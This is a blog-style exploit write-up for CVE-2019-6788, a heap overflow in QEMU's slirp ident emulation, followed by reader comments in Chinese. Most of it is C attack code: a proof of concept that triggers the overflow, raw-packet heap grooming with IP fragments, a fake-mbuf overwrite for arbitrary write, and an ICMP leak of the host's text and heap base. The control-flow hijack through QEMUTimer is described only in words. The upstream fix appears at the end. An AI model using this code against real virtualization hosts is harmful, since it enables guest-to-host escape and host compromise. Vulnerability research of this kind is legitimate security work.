reference:
https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://ama2in9.top/2021/01/02/cve-2019-6788/
The Poc
cve-2019-6788 is a heap overflow vulnerability in qemu, it occurs in tcp_emu(slirp/tcp_subr.c)
:
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/
{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,
so_rcv->sb_datalen,
"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
In EMU_IDENT,It copies data from network layer to transport layer, the (struct socket *)so_rcv->sb_wptr
is buffer which store data from (struct mbuf* )m
, the origin ptr for buffer is (struct socket *)so_rcv->sb_data
. In gdb ,we can see it’s size is 0x2245:
If m->m_data
not contains ‘\r’ or ‘\n’ , the so_rcv->sb_cc
will not be update, but so_rcv->sb_wptr
has been increased. Before call tcp_emu
, tcp_input
will check the buffer size :
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
// #define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
ti->ti_len <= sbspace(&so->so_rcv)) {
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
}
It calculate the remain size use sbspace
, which subs the sb_datalen
and sb_cc
( sb_datalen
is 8760).But both value not be update in tcp_emu
. So we can cause heap overflow by sending data which not contains ‘\r’ or ‘\n’ continuously:
int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];
s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}
exploits – part1 Malloc Primitive
In order to control heap object, we must find a way to clean free bins in ptmalloc. If there is no free bins in arena, ptmalloc will split top_chunk. In this way, the arrangement of the heap is controllable and predictable.
In IP’s flags, there is a flag called More fragments following flag(MF)
,if MF set to 1,represent that there will be packet in the next. In qemu’s slirp, it will be store in struct mbuf
. For each new connection, if there is no free buffer in slirp’s free list(the slirp manage free mbuf
use doubly linked list), the mbuf
will be alloc in m_get
function, it will call malloc(0x668)
.
struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;
DEBUG_CALL("m_get");
if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
slirp->mbuf_alloced++;
if (slirp->mbuf_alloced > MBUF_THRESH)
flags = M_DOFREE;
m->slirp = slirp;
} else {
m = (struct mbuf *) slirp->m_freelist.qh_link;
remque(m);
}
/* Insert it in the used list */
insque(m,&slirp->m_usedlist);
m->m_flags = (flags | M_USEDLIST);
/* Initialise it */
m->m_size = SLIRP_MSIZE - offsetof(struct mbuf, m_dat);
m->m_data = m->m_dat;
m->m_len = 0;
m->m_nextpkt = NULL;
m->m_prevpkt = NULL;
m->resolution_requested = false;
m->expiration_date = (uint64_t)-1;
DEBUG_ARG("m = %p", m);
return m;
}
write a raw tcp packet
In order to set MF flag to 1,we must write tcp packet by ourselves. In addition to the original exp, I also referenced a lot of code:
https://github.com/rbaron/raw_tcp_socket/blob/master/raw_tcp_socket.c
Firstly, we must create a raw socket:
int s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
int one = 1;
const int *val = &one;
// inform the kernel do not fill up the packet structure, we will build our own
setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));
And bind it to interface:
#define DEVICE_NAME "enp0s3"
char interface[] = DEVICE_NAME;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0)
{
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}
Next, we create ip header:
Notice: I use different packet header struct from origin exp,It’s defined in linux/ip.h,linux/tcp.h,linux/icmp.h
struct iphdr* creat_ip_header(u32 id,void* des)
{
u32 src_addr = inet_addr("127.0.0.1");
u32 dst_addr = inet_addr("127.0.0.1");
struct iphdr * ip =(struct iphdr*)des;
memset(ip,0,sizeof(struct iphdr));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
// ip->tot_len = sizeof(struct iphdr);
ip->id = htons(id);
ip->ttl = 0xFF; // hops
ip->protocol = IPPROTO_TCP;
// source IP address, can use spoofed address here
ip->saddr = src_addr;
ip->daddr = dst_addr;
return ip;
}
Then we set the MF flags to 1 and c the checksum:
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
ip->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + data_size);
ip->check = 0;
ip->check = csum(buf,20); // 20 is sizeof struct iphdr; if data is zero,it will not effect the checksum
After the ip header created, we start to create tcp header:
struct tcphdr* create_tcp_header(void* des)
{
struct tcphdr* tcpHdr = (struct tcphdr*)des;
tcpHdr->source = htons(60); //16 bit in nbp format of source port
tcpHdr->dest = htons(80); //16 bit in nbp format of destination port
tcpHdr->seq = 0x0; //32 bit sequence number, initially set to zero
tcpHdr->ack_seq = 0x0; //32 bit ack sequence number, depends whether ACK is set or not
tcpHdr->doff = 5; //4 bits: 5 x 32-bit words on tcp header
tcpHdr->res1 = 0; //4 bits: Not used
tcpHdr->cwr = 0; //Congestion control mechanism
tcpHdr->ece = 0; //Congestion control mechanism
tcpHdr->urg = 0; //Urgent flag
tcpHdr->ack = 1; //Acknownledge
tcpHdr->psh = 1; //Push data immediately
tcpHdr->rst = 0; //RST flag
tcpHdr->syn = 0; //SYN flag
tcpHdr->fin = 0; //Terminates the connection
tcpHdr->window = htons(0xFFFF);//0xFFFF; //16 bit max number of databytes
tcpHdr->check = 0; //16 bit check sum. Can't calculate at this point
tcpHdr->urg_ptr = 0; //16 bit indicate the urgent data. Only if URG flag is set
}
But tcp’s checksum is different, it contains some extra data, we can create a struct to calculate the checksum for tcp:
struct pseudoTCPPacket {
uint32_t srcAddr;
uint32_t dstAddr;
uint8_t zero;
uint8_t protocol;
uint16_t TCP_len;
};
struct pseudoTCPPacket pTCPPacket;
pTCPPacket.srcAddr = src_addr; //32 bit format of source address
pTCPPacket.dstAddr = dst_addr; //32 bit format of source address
pTCPPacket.zero = 0; //8 bit always zero
pTCPPacket.protocol = IPPROTO_TCP; //8 bit TCP protocol
pTCPPacket.TCP_len = htons(sizeof(struct tcphdr) + data_size);
char *pseudo_packet = (char *) malloc((int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)) + data_size);
memset(pseudo_packet, 0, sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)+ data_size);
// Copy pseudo header
memcpy(pseudo_packet, (char *) &pTCPPacket, sizeof(struct pseudoTCPPacket));
// tcp is the struct from create_tcp_header
tcp->seq = htonl(initSeqGuess++);
tcp->check = 0;
// copy origin tcp header
memcpy(pseudo_packet + sizeof(struct pseudoTCPPacket), tcp, sizeof(struct tcphdr));
// start calculate
tcp->check = csum((unsigned short *) pseudo_packet, (int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)));
Finally, we can send packet to trigger malloc:
struct sockaddr_in addr_in;
memset(&addr_in,0,sizeof(struct sockaddr_in));
//Populate address struct
addr_in.sin_family = AF_INET;
addr_in.sin_addr.s_addr = src_addr;
if((bytes = sendto(s, buf, data_size, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) {perror("Error on sendto()");}
But if we want splay large packet,we must increase the mtu for the interface by ifconfig DEVICE_NAME mtu 9000 up
exploits – part2 Arbitrary Write and Leak
We also look at the logic of m_buf
, if MF set to 0, slrip will combine the whole packet and send it, see ip_reass
:
insert:
/*
* Stick new segment in its place;
* check for complete reassembly.
*/
ip_enq(iptofrag(ip), q->ipf_prev);
next = 0;
for (q = fp->frag_link.next; q != (struct ipasfrag*)&fp->frag_link;
q = q->ipf_next) {
if (q->ipf_off != next)
return NULL;
next += q->ipf_len;
}
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;
/*
* Reassembly is complete; concatenate fragments.
*/
q = fp->frag_link.next;
m = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}
m_cat
function will call memcpy(m->m_data+m->m_len, t->m_data, t->m_len);
to copy data to the first m_buf
,so if we can overwrite m->m_data
, we can do a arbitrary write. So Firstly, we will prepare two packet:
void* icmp_buf1 = malloc(0x1000);
memset(icmp_buf1,0,0x1000);
struct iphdr* icmp_ip1 = creat_ip_header(1919810,icmp_buf1);
icmp_ip1->protocol = IPPROTO_ICMP;
icmp_ip1->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag to 1
icmp_ip1->tot_len = htons(0x300 + 20);
icmp_ip1->check = csum(icmp_buf1,20);
void* icmp_buf2 = malloc(0x1000);
memset(icmp_buf2,0,0x1000);
struct iphdr* icmp_ip2 = creat_ip_header(1919810,icmp_buf2);
icmp_ip2->protocol = IPPROTO_ICMP;
icmp_ip2->tot_len = htons(sizeof(struct iphdr) prepare+ buf_len);
icmp_ip2->frag_off = htons((0 << 15) + (0 << 14) + (0 << 13) + ((0x300) >> 3)); // set offset
icmp_ip2->check = csum(icmp_buf2,20);
memcpy(icmp_buf2 + sizeof(struct iphdr),buf,buf_len);
Importantly, the second packet must has the right offset in frag_off , ip_reass will check it
Then create vulnerable object and first packet:
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
if (ret == -1)
{
perror("connect failed");
exit(1);
}
send_raw_packet(icmp_buf1,0x300 + 20,src_addr); // will send the first packet
Next we overflow it:
struct mbuf {
// chunk size
u64 prev_size;
u64 size;
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
u64 *m_next; /* Linked list of mbufs */
u64 *m_prev;
u64 *m_nextpkt; /* Next packet in queue/record */
u64 *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
u64 *m_so;
};
for (int i = 0; i < 6; ++i)
{
write(s, payload, 0x500);
usleep(20000);
}
write(s, payload, 1072);
struct mbuf *fake_mbuf = payload;
memset(fake_mbuf,0,sizeof(struct mbuf));
fake_mbuf->size = 0x675;
fake_mbuf->m_size = 0x608;
memcpy(payload + sizeof(struct mbuf),(void*)addr,write_len); // fake mbuf, the addr is the write address
write(s, payload, sizeof(struct mbuf) + write_len); // overflow
After we overwrite the first m_buf's m_data
,we can do arbitrary write by sending second packet.
For leak, we can low bit write m_buf's m_data
,and use the icmp echo packet to send data we want to leak, and capture it to get leaked data. This part I copied from origin exp:
void recv_capture(int recvsd)
{
int bytes, status;
struct iphdr *recv_iphdr;
struct icmphdr *recv_icmphdr;
uint8_t *recv_ether_frame = malloc(0x1000);
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;
puts("wait for icmp leak");
(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
#define ETH_HDRLEN 14
recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + sizeof(struct iphdr));
int count = 0;
while (1)
{
memset(recv_ether_frame, 0, 0x1000 * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, 0x1000, 0,
(struct sockaddr *)&from, &fromlen)) < 0)
{
status = errno;
if (status == EAGAIN)
{
printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
}
else if (status == EINTR) // EINTR = 4
{
continue;
}
else
{
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->protocol == IPPROTO_ICMP) &&
(recv_icmphdr->type == ICMP_ECHOREPLY))
{
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
printf("%g ms (%i bytes received)\n", dt, bytes);
hexdump("ping recv", recv_ether_frame, bytes);
if (bytes < 0x200)
continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0xa0)) - 0x31d000) & ~0xfff;
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
printf("leak text_base: 0x%llx\n"
"leak heap_base: 0x%llx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}
free(recv_ether_frame);
}
But before we leak,we must prepare a fake icmp packet in heap, and overwrite the m_data to it. We also low bit write the m_data and do a “arbitrary write” to prepare data. This need a fake icmp header, it’s similar to ip header and tcp header:
struct icmphdr* create_icmp_header(void* des)
{
struct icmphdr *icmp = des;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(1000);
icmp->un.echo.sequence = 0;
icmp->checksum = csum((void*)icmp,sizeof(struct icmphdr));
return icmp;
}
exploits – part3 Hijacking control flow
The method to hijack the control flow is to use QemuTimer. In bss, there is a global variable main_loop_tlg of type QEMUTimerList, and its member active_timers is a variable of type QEMUTimer*. We can fake these two variables on the heap, overwrite the global variable of bss. And the command execution will be triggered when expire_time expires. This is a general exploit technique, I won’t go into details.
During my exploit development, I find it’s hard to do heap fengshui. Sometimes the success rate is very high,but sometimes I can’t succeed once a whole day. Is there a way to increased the success rate? or just my exploit has some bugs? I don’t know, and will keep trying.
Fix
It add a check before memcpy:
if (m->m_len > so_rcv->sb_datalen - (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
But I think it better to update the check method in sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
🙁
我根据这个cve改编过一道题,做利用的时候概率还是比较高的,基本在(1/200)左右?(具体我也记不太清了),如果需要的话,师傅或许可以参考一下?
1/200算高吗(233 我自己没算过成功率,不知道有没有这个数,
不过我自己在调试的时候发现不同的文件系统对利用也有影响,不知道会不会是这个原因,如果可以的话师傅能说一下制作镜像的环境吗,我再去看看是不是这个原因。
来晚了:)
文件系统镜像可以参考这个:
https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh